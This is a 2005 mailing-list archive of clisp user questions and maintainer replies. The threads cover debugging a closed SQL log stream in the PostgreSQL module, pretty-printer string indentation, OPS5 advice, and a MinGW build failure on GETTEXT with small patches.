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Date: Tue Sep 13 06:10:11 2005
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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-09-13 04:20:31 +0200]:
>
> slime-1.2.1 uses:
>
>    (getf (gethash symbol system::*documentation*) 'system::file)
>
> to get the path of a file where symbol is defined.
>
> This doesn't work anymore in clisp-2.35.  What facility is there in
> this version to do the same? (I've not found anything browsing the
> implemention nodes ToC).

<http://article.gmane.org/gmane.lisp.clisp.general:9946>


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> *  <cbznenapqr23@cbfg.pm> [2005-09-13 14:35:38 +0200]:
>
>  is there a way to turn |(a b c)| into (a b c), so I can process
> it with a function that takes lists as arguments? Cheers

(read-from-string (symbol-name '|(a b c)|))

from your questions it appears that you need to read some introduction
to Common Lisp.
Please start with the file clisp/doc/LISP-tutorial.txt while you are
waiting for your copy of "ANSI CL" by Paul Graham to arrive in the mail.

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On Mon, 12 Sep 2005, Sam Steingold wrote:

>> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-12 16:41:20 -0500]:
>>
>> On Mon, 12 Sep 2005, Sam Steingold wrote:
>>
>>>> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-12 14:45:39 -0500]:
>>>>
>>>> I'm new to lisp so please be gentle.
>>>> While trying to use the functions in modules/postgresql/sql.lisp I get
>>>> this error.
>>>>
>>>> [1]> (use-package "SQL")
>>>> T
>>>> [2]> (with-sql-connection (conn :host "host" :port "5432" :options nil
>>>> :tty nil :name "mydb" :login "user" :password "password")
>>>> (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK))
>>>>
>>>> *** - WRITE-CHAR on #<CLOSED IO TERMINAL-STREAM> is illegal
>>>> The following restarts are available:
>>>> ABORT          :R1      ABORT
>>>>
>>>> Can someone explain a bit?
>>>
>>> stack trace would be nice.
>>
>> [2]> (trace with-sql-connection)
>
> stack trace /= TRACE
>
> <http://clisp.cons.org/impnotes/debugger.html>
> try ":bt" or - if that output is too small - ":bt1"

[1]> (use-package "SQL")
T
[2]> (trace with-sql-connection sql-connect)
;; Tracing macro WITH-SQL-CONNECTION.
;; Tracing function SQL-CONNECT.
[5]> (with-sql-connection (conn :host "host" :port "5432" :options nil 
:tty nil :name "mydb" :login "user" :password "password")
(sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK))
1. Trace:
(WITH-SQL-CONNECTION
  (CONN :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME "mydb" :LOGIN
   "user" :PASSWORD "password")
  (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|))
1. Trace: WITH-SQL-CONNECTION ==>
(LET
  ((CONN
    (SQL-CONNECT :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME 
"mydb"
     :LOGIN "user" :PASSWORD "password")))
  (UNWIND-PROTECT (PROGN (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|))
   (PQ-FINISH CONN)))
1. Trace:
(SQL-CONNECT ':HOST '"host" ':PORT '"5432" ':OPTIONS 'NIL ':TTY 'NIL 
':NAME
  '"mydb" ':LOGIN '"user" ':PASSWORD '"password")
*** - WRITE-CHAR on #<CLOSED IO TERMINAL-STREAM> is illegal
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [6]> :bt1
<1> #<SYSTEM-FUNCTION SHOW-STACK> 3
<2> #<COMPILED-FUNCTION SYSTEM::PRINT-BACKTRACE>
<3> #<COMPILED-FUNCTION SYSTEM::DEBUG-BACKTRACE>
<4> #<COMPILED-FUNCTION SYSTEM::DEBUG-BACKTRACE-1>
<5> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT> 2
<6> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP-2-2>
<7> #<SYSTEM-FUNCTION SYSTEM::SAME-ENV-AS> 2
<8> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP-2>
<9> #<SYSTEM-FUNCTION SYSTEM::DRIVER>
- #<SYSTEM::SIMPLE-STREAM-ERROR #x20489AFE>
- NIL
<10> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP>
- #<SYSTEM::SIMPLE-STREAM-ERROR #x20489AFE>
<11> #<SYSTEM-FUNCTION INVOKE-DEBUGGER> 1
frame binding variables (~ = dynamically):
   | ~ SYSTEM::*PRIN-STREAM* <--> #<UNBOUND>
frame binding variables (~ = dynamically):
   | ~ *PRINT-READABLY* <--> NIL
frame binding variables (~ = dynamically):
   | ~ *PRINT-ESCAPE* <--> T
- #<SYSTEM::SIMPLE-STREAM-ERROR #x20489AFE>
- "Connection("
- "Connection("
- #<CLOSED IO TERMINAL-STREAM>
<12> #<SYSTEM-FUNCTION WRITE-STRING>
- #<COMPILED-FUNCTION SQL::sql-connect-1>
- NIL
- ""
- ""
- "5432"
- "host"
- "mydb"
- #<FOREIGN-ADDRESS #x08213FE8>
- #<CLOSED IO TERMINAL-STREAM>
<13> #<COMPILED-FUNCTION SQL::sql-connect-1>
- #<COMPILED-FUNCTION SQL::sql-connect-1>
frame binding variables (~ = dynamically):
   | ~ SYSTEM::*FORMAT-CS* <--> #<UNBOUND>
- #<COMPILED-FUNCTION SYSTEM::FORMAT-APPLY>
- (#<FOREIGN-ADDRESS #x08213FE8> "mydb" "host" "5432" "" "")
- (#<FOREIGN-ADDRESS #x08213FE8> "mydb" "host" "5432" "" "")
- #<COMPILED-FUNCTION SQL::sql-connect-1>
- #<CLOSED IO TERMINAL-STREAM>
<14> #<COMPILED-FUNCTION SYSTEM::FORMAT-APPLY>
- #<COMPILED-FUNCTION FORMAT>
- (#<FOREIGN-ADDRESS #x08213FE8> "mydb" "host" "5432" "" "")
- #<COMPILED-FUNCTION SQL::sql-connect-1>
- #<CLOSED IO TERMINAL-STREAM>
<15> #<COMPILED-FUNCTION FORMAT>
- #<FOREIGN-ADDRESS #x08213FE8>
- #<COMPILED-FUNCTION SQL-CONNECT>
- "password"
- "user"
- "mydb"
- NIL
- NIL
- "5432"
- "host"
<16> #<COMPILED-FUNCTION SQL-CONNECT>
- #<COMPILED-FUNCTION SQL-CONNECT>
frame binding variables (~ = dynamically):
   | ~ SYSTEM::*TRACE-LEVEL* <--> 0
frame binding variables (~ = dynamically):
   | ~ *TRACE-FUNCTION* <--> #<UNBOUND>
frame binding variables (~ = dynamically):
   | ~ *TRACE-FORM* <--> #<UNBOUND>
frame binding variables (~ = dynamically):
   | ~ *TRACE-ARGS* <--> #<UNBOUND>
- #<COMPILED-FUNCTION TRACED-SQL-CONNECT>
-
(:HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME "mydb" :LOGIN 
"user"
  :PASSWORD "password")
<17> #<COMPILED-FUNCTION TRACED-SQL-CONNECT>
- #<COMPILED-FUNCTION TRACED-SQL-CONNECT>
EVAL frame for form
(SQL-CONNECT :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME "mydb"
  :LOGIN "user" :PASSWORD "password")
-
((UNWIND-PROTECT (PROGN (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|))
   (PQ-FINISH CONN)))
frame binding environments
   VAR_ENV <--> NIL
frame binding variables #<ADDRESS #xB7F8A114> binds (~ = dynamically):
   Next environment: NIL
<18> #<SPECIAL-OPERATOR LET>
EVAL frame for form
(LET
  ((CONN
    (SQL-CONNECT :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME 
"mydb"
     :LOGIN "user" :PASSWORD "password")))
  (UNWIND-PROTECT (PROGN (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|))
   (PQ-FINISH CONN)))
EVAL frame for form
(WITH-SQL-CONNECTION
  (CONN :HOST "host" :PORT "5432" :OPTIONS NIL :TTY NIL :NAME "mydb" :LOGIN
   "user" :PASSWORD "password")
  (SQL-TRANSACTION CONN "BEGIN" |pgres_command_ok|))
- #<IO TERMINAL-STREAM>
- #<IO TERMINAL-STREAM>
<19> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT> 2
frame binding variables (~ = dynamically):
   | ~ SYSTEM::*ACTIVE-RESTARTS* <--> NIL
compiled tagbody frame for #(NIL)
- 87
- #(NIL NIL)
Printed 19 frames
Break 1 [6]>




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> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-13 08:37:33 -0500]:
>
>>>>> [2]> (with-sql-connection (conn :host "host" :port "5432" :options nil
>>>>> :tty nil :name "mydb" :login "user" :password "password")
>>>>> (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK))
>>>>>
>>>>> *** - WRITE-CHAR on #<CLOSED IO TERMINAL-STREAM> is illegal
>>>>> The following restarts are available:
>>>>> ABORT          :R1      ABORT

> - "Connection("
> - "Connection("
> - #<CLOSED IO TERMINAL-STREAM>
> <12> #<SYSTEM-FUNCTION WRITE-STRING>
> - #<COMPILED-FUNCTION SQL::sql-connect-1>
> - NIL
> - ""
> - ""
> - "5432"
> - "host"
> - "mydb"
> - #<FOREIGN-ADDRESS #x08213FE8>
> - #<CLOSED IO TERMINAL-STREAM>
> <13> #<COMPILED-FUNCTION SQL::sql-connect-1>
> - #<COMPILED-FUNCTION SQL::sql-connect-1>

look at sql.lisp:sql-connect: "Connection(" is written to *sql-log*.
please examine the value of that variable and figure out why it is
#<CLOSED IO TERMINAL-STREAM>


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On Tue, 13 Sep 2005, Sam Steingold wrote:

>> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-13 08:37:33 -0500]:
>>
>>>>>> [2]> (with-sql-connection (conn :host "host" :port "5432" :options nil
>>>>>> :tty nil :name "mydb" :login "user" :password "password")
>>>>>> (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK))
>>>>>>
>>>>>> *** - WRITE-CHAR on #<CLOSED IO TERMINAL-STREAM> is illegal
>>>>>> The following restarts are available:
>>>>>> ABORT          :R1      ABORT
>
>> - "Connection("
>> - "Connection("
>> - #<CLOSED IO TERMINAL-STREAM>
>> <12> #<SYSTEM-FUNCTION WRITE-STRING>
>> - #<COMPILED-FUNCTION SQL::sql-connect-1>
>> - NIL
>> - ""
>> - ""
>> - "5432"
>> - "host"
>> - "mydb"
>> - #<FOREIGN-ADDRESS #x08213FE8>
>> - #<CLOSED IO TERMINAL-STREAM>
>> <13> #<COMPILED-FUNCTION SQL::sql-connect-1>
>> - #<COMPILED-FUNCTION SQL::sql-connect-1>
>
> look at sql.lisp:sql-connect: "Connection(" is written to *sql-log*.
> please examine the value of that variable and figure out why it is
> #<CLOSED IO TERMINAL-STREAM>

I saw the line (defvar *sql-log* *standard-output*) but i got
[8]> (describe *sql-log*)

*** - EVAL: variable *SQL-LOG* has no value
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead of 
*SQL-LOG*.
STORE-VALUE    :R2      You may input a new value for *SQL-LOG*.
ABORT          :R3      ABORT
Break 1 [9]>

So I
[10]> (defvar *sql-log* *standard-output*)
*SQL-LOG*
[11]> (describe *sql-log*)

#<IO SYNONYM-STREAM *TERMINAL-IO*> is an input/output-stream.

And got
[5]> (with-sql-connection (conn :host "host" :port "5432" :options nil 
:tty nil :name "mydb" :login "user" :password "password")
(sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK))

*** - WRITE-CHAR on #<CLOSED IO TERMINAL-STREAM> is illegal
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [6]>

I suppose my reach has exceeded my grasp.
As a novice I guess I should stick to using
(setf conn (sql:PQsetdbLogin "host" "5432" nil nil "mydb" "user" 
"password"))
It works for me.

Thanks


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Date: Tue Sep 13 07:56:31 2005
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clisp's pretty printer seems to modify string:

> (let ((*print-right-margin* 80)
         (*print-miser-width* nil))
     (pprint-logical-block (*standard-output* nil)
       (pprint-indent :block 8)
       (print "aaaaaaaa
bbbbbbbb
cccccccc")))
 
        "aaaaaaaa
        bbbbbbbb
        cccccccc"
NIL


I tried Richard Waters' xp.lisp and it appears to work with
clisp. 

Is there any techinical reason why clisp does not use xp.lisp?
Am I going to hit the wall if I use xp.lisp? Is anybody using
xp.lisp with clisp?

Thanks



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pomarancde23@post.cz writes:

>  I'm trying to write a program with clisp + ops5. First is a
> general question: Have anybody seen an example or howto for ops5?

I recommend the book:

  Programming Expert Systems in OPS5: An Introduction to Rule-Based Programming
  http://www.amazon.com/exec/obidos/ASIN/0201106477/qid%3D998851693/sr%3D1-1/ref%3Dsc%5Fb%5F1/002-3648868-3484007

You can probably get a used copy for around 10$ including shipping.

May I ask why you use OPS5?  What about something more modern and
flexible like LISA?  Here are some notes I wrote recently:

  LISA and rule-based programming in Common Lisp
  http://www.paoloamoroso.it/log/050827.html


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> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-13 09:33:09 -0500]:
>
>> look at sql.lisp:sql-connect: "Connection(" is written to *sql-log*.
>> please examine the value of that variable and figure out why it is
>> #<CLOSED IO TERMINAL-STREAM>
>
> I saw the line (defvar *sql-log* *standard-output*) but i got
> [8]> (describe *sql-log*)
>
> *** - EVAL: variable *SQL-LOG* has no value
> The following restarts are available:
> USE-VALUE      :R1      You may input a value to be used instead of
> *SQL-LOG*.
> STORE-VALUE    :R2      You may input a new value for *SQL-LOG*.
> ABORT          :R3      ABORT
> Break 1 [9]>

what does (find-all-symbols "*SQL-LOG*") return?
I bet this is a package issue - *SQL-LOG* is an internal symbol.


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Date: Tue Sep 13 08:33:17 2005
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> * Takehiko Abe <xrxr@tby.pbz> [2005-09-13 23:53:53 +0900]:
>
> clisp's pretty printer seems to modify string:
>
>> (let ((*print-right-margin* 80)
>          (*print-miser-width* nil))
>      (pprint-logical-block (*standard-output* nil)
>        (pprint-indent :block 8)
>        (print "aaaaaaaa
> bbbbbbbb
> cccccccc")))
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>         "aaaaaaaa
>         bbbbbbbb
>         cccccccc"
> NIL

the string is not modified - it's just printed with the block
indentation you requested

> Is there any techinical reason why clisp does not use xp.lisp?
speed.

> Am I going to hit the wall if I use xp.lisp?
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On Tue, 13 Sep 2005, Sam Steingold wrote:

>> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-13 09:33:09 -0500]:
>>
>>> look at sql.lisp:sql-connect: "Connection(" is written to *sql-log*.
>>> please examine the value of that variable and figure out why it is
>>> #<CLOSED IO TERMINAL-STREAM>
>>
>> I saw the line (defvar *sql-log* *standard-output*) but i got
>> [8]> (describe *sql-log*)
>>
>> *** - EVAL: variable *SQL-LOG* has no value
>> The following restarts are available:
>> USE-VALUE      :R1      You may input a value to be used instead of
>> *SQL-LOG*.
>> STORE-VALUE    :R2      You may input a new value for *SQL-LOG*.
>> ABORT          :R3      ABORT
>> Break 1 [9]>
>
> what does (find-all-symbols "*SQL-LOG*") return?

[1]> (find-all-symbols "*SQL-LOG*")
(SQL::*sql-log*)
[2]> (use-package "SQL")
T
[3]> (find-all-symbols "*SQL-LOG*")
(SQL::*sql-log*)
[4]>

I'm using clisp-2.35.



> I bet this is a package issue - *SQL-LOG* is an internal symbol.
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Date: Tue Sep 13 09:05:01 2005
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> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-13 10:37:52 -0500]:
>
> On Tue, 13 Sep 2005, Sam Steingold wrote:
>
>>> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-13 09:33:09 -0500]:
>>>
>>>> look at sql.lisp:sql-connect: "Connection(" is written to *sql-log*.
>>>> please examine the value of that variable and figure out why it is
>>>> #<CLOSED IO TERMINAL-STREAM>
>>>
>>> I saw the line (defvar *sql-log* *standard-output*) but i got
>>> [8]> (describe *sql-log*)
>>>
>>> *** - EVAL: variable *SQL-LOG* has no value
>>> The following restarts are available:
>>> USE-VALUE      :R1      You may input a value to be used instead of
>>> *SQL-LOG*.
>>> STORE-VALUE    :R2      You may input a new value for *SQL-LOG*.
>>> ABORT          :R3      ABORT
>>> Break 1 [9]>
>>
>> what does (find-all-symbols "*SQL-LOG*") return?
>
> [1]> (find-all-symbols "*SQL-LOG*")
> (SQL::*sql-log*)
> [2]> (use-package "SQL")
> T
> [3]> (find-all-symbols "*SQL-LOG*")
> (SQL::*sql-log*)
> [4]>

what you got is perfectly fine - but when you do
(describe *sql-log*)
you will get
(find-all-symbols "*SQL-LOG*")
==> (SQL::*sql-log* *SQL-LOG*)
because you just created an extra symbol.
try
(describe 'SQL::*sql-log*)
instead.

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On Tue, 13 Sep 2005, Sam Steingold wrote:

>> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-13 10:37:52 -0500]:
>>
>> On Tue, 13 Sep 2005, Sam Steingold wrote:
>>
>>>> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-13 09:33:09 -0500]:
>>>>
>>>>> look at sql.lisp:sql-connect: "Connection(" is written to *sql-log*.
>>>>> please examine the value of that variable and figure out why it is
>>>>> #<CLOSED IO TERMINAL-STREAM>
>>>>
>>>> I saw the line (defvar *sql-log* *standard-output*) but i got
>>>> [8]> (describe *sql-log*)
>>>>
>>>> *** - EVAL: variable *SQL-LOG* has no value
>>>> The following restarts are available:
>>>> USE-VALUE      :R1      You may input a value to be used instead of
>>>> *SQL-LOG*.
>>>> STORE-VALUE    :R2      You may input a new value for *SQL-LOG*.
>>>> ABORT          :R3      ABORT
>>>> Break 1 [9]>
>>>
>>> what does (find-all-symbols "*SQL-LOG*") return?
>>
>> [1]> (find-all-symbols "*SQL-LOG*")
>> (SQL::*sql-log*)
>> [2]> (use-package "SQL")
>> T
>> [3]> (find-all-symbols "*SQL-LOG*")
>> (SQL::*sql-log*)
>> [4]>
>
> what you got is perfectly fine - but when you do
> (describe *sql-log*)
> you will get
> (find-all-symbols "*SQL-LOG*")
> ==> (SQL::*sql-log* *SQL-LOG*)
> because you just created an extra symbol.
> try
> (describe 'SQL::*sql-log*)
> instead.

[1]> (describe 'SQL::*sql-log*)

SQL::*sql-log* is the symbol SQL::*sql-log*, lies in #<PACKAGE SQL>, is
accessible in 1 package SQL, a variable declared SPECIAL, value:
  #<CLOSED IO TERMINAL-STREAM>
.

  #<PACKAGE SQL> is the package named SQL. It has 2 nicknames POSTGRESQL,
  POSTGRES.
  It imports the external symbols of 2 packages CS-COMMON-LISP, FFI and
  exports 198 symbols, but no package uses these exports.
  It is a modern case-sensitive package.

  #<CLOSED IO TERMINAL-STREAM> is a closed stream.

[2]>



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> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-13 11:07:55 -0500]:
>
> [1]> (describe 'SQL::*sql-log*)
>
> SQL::*sql-log* is the symbol SQL::*sql-log*, lies in #<PACKAGE SQL>, is
> accessible in 1 package SQL, a variable declared SPECIAL, value:
>   #<CLOSED IO TERMINAL-STREAM>
> .
>
>   #<PACKAGE SQL> is the package named SQL. It has 2 nicknames POSTGRESQL,
>   POSTGRES.
>   It imports the external symbols of 2 packages CS-COMMON-LISP, FFI and
>   exports 198 symbols, but no package uses these exports.
>   It is a modern case-sensitive package.
>
>   #<CLOSED IO TERMINAL-STREAM> is a closed stream.

OK, so here is your problem.
solution is simple:
(setq SQL::*sql-log* *standard-output*)


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On Tue, 13 Sep 2005, Sam Steingold wrote:

>> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-13 11:07:55 -0500]:
>>
>> [1]> (describe 'SQL::*sql-log*)
>>
>> SQL::*sql-log* is the symbol SQL::*sql-log*, lies in #<PACKAGE SQL>, is
>> accessible in 1 package SQL, a variable declared SPECIAL, value:
>>   #<CLOSED IO TERMINAL-STREAM>
>> .
>>
>>   #<PACKAGE SQL> is the package named SQL. It has 2 nicknames POSTGRESQL,
>>   POSTGRES.
>>   It imports the external symbols of 2 packages CS-COMMON-LISP, FFI and
>>   exports 198 symbols, but no package uses these exports.
>>   It is a modern case-sensitive package.
>>
>>   #<CLOSED IO TERMINAL-STREAM> is a closed stream.
>
> OK, so here is your problem.
> solution is simple:
> (setq SQL::*sql-log* *standard-output*)

Much better.
[1]> (use-package "SQL")
T
[2]> (setq SQL::*sql-log* *standard-output*)

** - Continuable Error
SETQ(SQL::*sql-log*): #<PACKAGE SQL> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
The following restarts are also available:
ABORT          :R1      ABORT
Break 1 [3]> continue
#<IO SYNONYM-STREAM *TERMINAL-IO*>

I tried
[4]> (with-sql-connection (conn :host "host" :port "5432" :options nil 
:tty nil :name "mydb" :login "user" :password "password")
(sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK))
Connection(#<FOREIGN-ADDRESS #x08213EB0>) OK:
  db name: "mydb"
  host:port[tty]: "host":"5432"[""]
  options: ""
  * OK: BEGIN
#<INVALID FOREIGN-ADDRESS #x0821C320>

I'll add this to my program.
Is this a problem with the sql package, my configuration, etc?



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> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-13 12:37:02 -0500]:
>
> [1]> (use-package "SQL")
> T

this is not such a grand idea actually - unless you pass "-modern" to
your CLISP.

> [2]> (setq SQL::*sql-log* *standard-output*)
>
> ** - Continuable Error
> SETQ(SQL::*sql-log*): #<PACKAGE SQL> is locked
> If you continue (by typing 'continue'): Ignore the lock and proceed
> The following restarts are also available:
> ABORT          :R1      ABORT
> Break 1 [3]> continue
> #<IO SYNONYM-STREAM *TERMINAL-IO*>

(without-package-lock ("SQL") (setq ...))

this is now fixed in the CVS.
thanks for reporting the bugs!

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On Tue, 13 Sep 2005, Sam Steingold wrote:

>> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-13 12:37:02 -0500]:
>>
>> [1]> (use-package "SQL")
>> T
>
> this is not such a grand idea actually - unless you pass "-modern" to
> your CLISP.
>
>> [2]> (setq SQL::*sql-log* *standard-output*)
>>
>> ** - Continuable Error
>> SETQ(SQL::*sql-log*): #<PACKAGE SQL> is locked
>> If you continue (by typing 'continue'): Ignore the lock and proceed
>> The following restarts are also available:
>> ABORT          :R1      ABORT
>> Break 1 [3]> continue
>> #<IO SYNONYM-STREAM *TERMINAL-IO*>
>
> (without-package-lock ("SQL") (setq ...))
>
> this is now fixed in the CVS.
> thanks for reporting the bugs!

I appreciate the help.
Do you know if there's a DB2 UDB interface for Clisp?



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Date: Tue Sep 13 11:59:21 2005
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> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-09-13 13:22:22 -0500]:
>
> Do you know if there's a DB2 UDB interface for Clisp?

I don't know what "DB2 UDB" is, but it is very easy to write the
interface - just follow the examples in clisp/modules.

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Sam Steingold wrote:

> > clisp's pretty printer seems to modify string:
> >
> >> (let ((*print-right-margin* 80)
> >          (*print-miser-width* nil))
> >      (pprint-logical-block (*standard-output* nil)
> >        (pprint-indent :block 8)
> >        (print "aaaaaaaa
> > bbbbbbbb
> > cccccccc")))
> >  
> >         "aaaaaaaa
> >         bbbbbbbb
> >         cccccccc"
> > NIL
> 
> the string is not modified - it's just printed with the block
> indentation you requested

But if I READ it back, it results in a different string.
That means I cannot pretty print source codes. I think the
result should be:

        "aaaaaaaa
bbbbbbbb
cccccccc"

which is both indented and still the same string as the
original.




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Hello, I'm on a WinXP/GNU Emacs system using clisp.

I know how to set the lookup path for (require "XX") on the Solaris boxes at the
university, but I haven't figured out how to do this with clisp on my own
computer. Can anyone help me?

Cheers, 
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> * Audun R=C3=B8mcke <nhqhae@lnubb.pbz> [2005-09-14 10:21:35 +0000]:
>
> I know how to set the lookup path for (require "XX") on the Solaris
> boxes at the university, but I haven't figured out how to do this with
> clisp on my own computer. Can anyone help me?

so , what did you do on Solaris?

<http://clisp.cons.org/impnotes/system-dict.html#require>
<http://clisp.cons.org/impnotes/system-dict.html#loadfile>
<http://clisp.cons.org/impnotes/system-dict.html#load-paths>

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Hi all,
I usually use clisp snapshots from CVS compiled with:
./configure --with-mingw --disable-nls --build build-mingw

I use mingw under winXP
However, I can't build it anymore. I fails with the following error:
gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment
-Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declaratio
ns -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE
-DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I
. -I/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw -c modules.c
In file included from modules.d:12:
c:/dev/cvstree/sourceforge/clisp/clisp/build-mingw/clisp.h:549:
warning: register used for two global register variables

gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
-Wreturn-type -Wmissing-declarations -Wno-sign-compare
-O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES
-DDYNAMIC_FFI -DNO_GETTEXT -I. -x none modules.o r
egexi.o regex.o calls.o -luser32 -lole32 -loleaut32 -luuid gettext.o
lisp.a libcharset.a libavcall.a libcallback.a -luse
r32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv -o lisp.e=
xe
regexi.o(.text+0x69f):regexi.m.c: undefined reference to `GETTEXT'
calls.o(.text+0x81):calls.m.c: undefined reference to `GETTEXT'
calls.o(.text+0x16e):calls.m.c: undefined reference to `GETTEXT'
calls.o(.text+0x37e):calls.m.c: undefined reference to `GETTEXT'
calls.o(.text+0x1a32):calls.m.c: undefined reference to `GETTEXT'
calls.o(.text+0x3899):calls.m.c: more undefined references to `GETTEXT' fol=
low
./clisp-link: failed in /c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/=
base
make: *** [base] Error 1

I also tried to download and compile gettext, but without success.=20
Since when is gettext dependency introduced? Is there any workaround
to compile clisp under mingw?

Thanks,
Marko


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Date: Wed Sep 14 08:09:11 2005
X-Original-Date: Wed, 14 Sep 2005 11:06:59 -0400

> * Marko Kocic <znexb.xbpvp@tznvy.pbz> [2005-09-14 16:37:14 +0200]:
>
> I usually use clisp snapshots from CVS compiled with:
> ./configure --with-mingw --disable-nls --build build-mingw

I suggest that you add "--with-module=rawsock"
and do "make mod-check" after the build.

> regexi.o(.text+0x69f):regexi.m.c: undefined reference to `GETTEXT'
> calls.o(.text+0x81):calls.m.c: undefined reference to `GETTEXT'
> calls.o(.text+0x16e):calls.m.c: undefined reference to `GETTEXT'
> calls.o(.text+0x37e):calls.m.c: undefined reference to `GETTEXT'
> calls.o(.text+0x1a32):calls.m.c: undefined reference to `GETTEXT'
> calls.o(.text+0x3899):calls.m.c: more undefined references to `GETTEXT' follow

please try the appended patch.

thanks for reporting the bug.

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--- lispbibl.d	09 Sep 2005 14:43:00 -0400	1.668
+++ lispbibl.d	14 Sep 2005 10:56:57 -0400	
@@ -9494,8 +9494,7 @@
   # init the language and the locale
   extern void init_language (const char*, const char*);
 #endif
-%% #ifndef LANGUAGE_STATIC
-%%   #ifdef GNU_GETTEXT
+%% #if !defined(LANGUAGE_STATIC) && defined(GNU_GETTEXT)
 %%     printf("#define GNU_GETTEXT\n");
 %%     printf("#ifndef COMPILE_STANDALONE\n");
 %%     printf("#include <libintl.h>\n");
@@ -9503,7 +9502,6 @@
 %%     printf("extern const char * clgettext (const char * msgid);\n");
 %%   #endif
 %%   export_def(GETTEXT);
-%% #endif
 
 # Fetch the message translations of a string: "CL String getTEXT"
 # CLSTEXT(string)


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I applied your patch and still got the same error:
gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment
-Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declaratio
ns -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE
-DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I
. -I/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw -c modules.c
In file included from modules.d:12:
c:/dev/cvstree/sourceforge/clisp/clisp/build-mingw/clisp.h:549:
warning: register used for two global register variables

gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
-Wreturn-type -Wmissing-declarations -Wno-sign-compare
-O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES
-DDYNAMIC_FFI -DNO_GETTEXT -I. -x none modules.o r
egexi.o regex.o calls.o -luser32 -lole32 -loleaut32 -luuid gettext.o
lisp.a libcharset.a libavcall.a libcallback.a -luse
r32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv -o lisp.e=
xe
regexi.o(.text+0x69f):regexi.m.c: undefined reference to `GETTEXT'
calls.o(.text+0x81):calls.m.c: undefined reference to `GETTEXT'
calls.o(.text+0x16e):calls.m.c: undefined reference to `GETTEXT'
calls.o(.text+0x37e):calls.m.c: undefined reference to `GETTEXT'
calls.o(.text+0x1a32):calls.m.c: undefined reference to `GETTEXT'
calls.o(.text+0x3899):calls.m.c: more undefined references to `GETTEXT' fol=
low
./clisp-link: failed in /c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/=
base
make: *** [base] Error 1


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Hello people,

that was quick!

Thanks to both Jeff and Sam... I'm going to try it out as soon as I get home (I
didn't think it'd be that easy).

Audun





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> * Marko Kocic <znexb.xbpvp@tznvy.pbz> [2005-09-14 18:01:01 +0200]:
>
> regexi.o(.text+0x69f):regexi.m.c: undefined reference to `GETTEXT'
> calls.o(.text+0x81):calls.m.c: undefined reference to `GETTEXT'
> calls.o(.text+0x16e):calls.m.c: undefined reference to `GETTEXT'
> calls.o(.text+0x37e):calls.m.c: undefined reference to `GETTEXT'
> calls.o(.text+0x1a32):calls.m.c: undefined reference to `GETTEXT'
> calls.o(.text+0x3899):calls.m.c: more undefined references to `GETTEXT' follow

oops. the appended patch WFM.
please try it.
thanks.

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--- lispbibl.d	09 Sep 2005 14:43:00 -0400	1.668
+++ lispbibl.d	14 Sep 2005 13:51:12 -0400	
@@ -9494,15 +9494,15 @@
   # init the language and the locale
   extern void init_language (const char*, const char*);
 #endif
-%% #ifndef LANGUAGE_STATIC
-%%   #ifdef GNU_GETTEXT
+%% #if !defined(LANGUAGE_STATIC) && defined(GNU_GETTEXT)
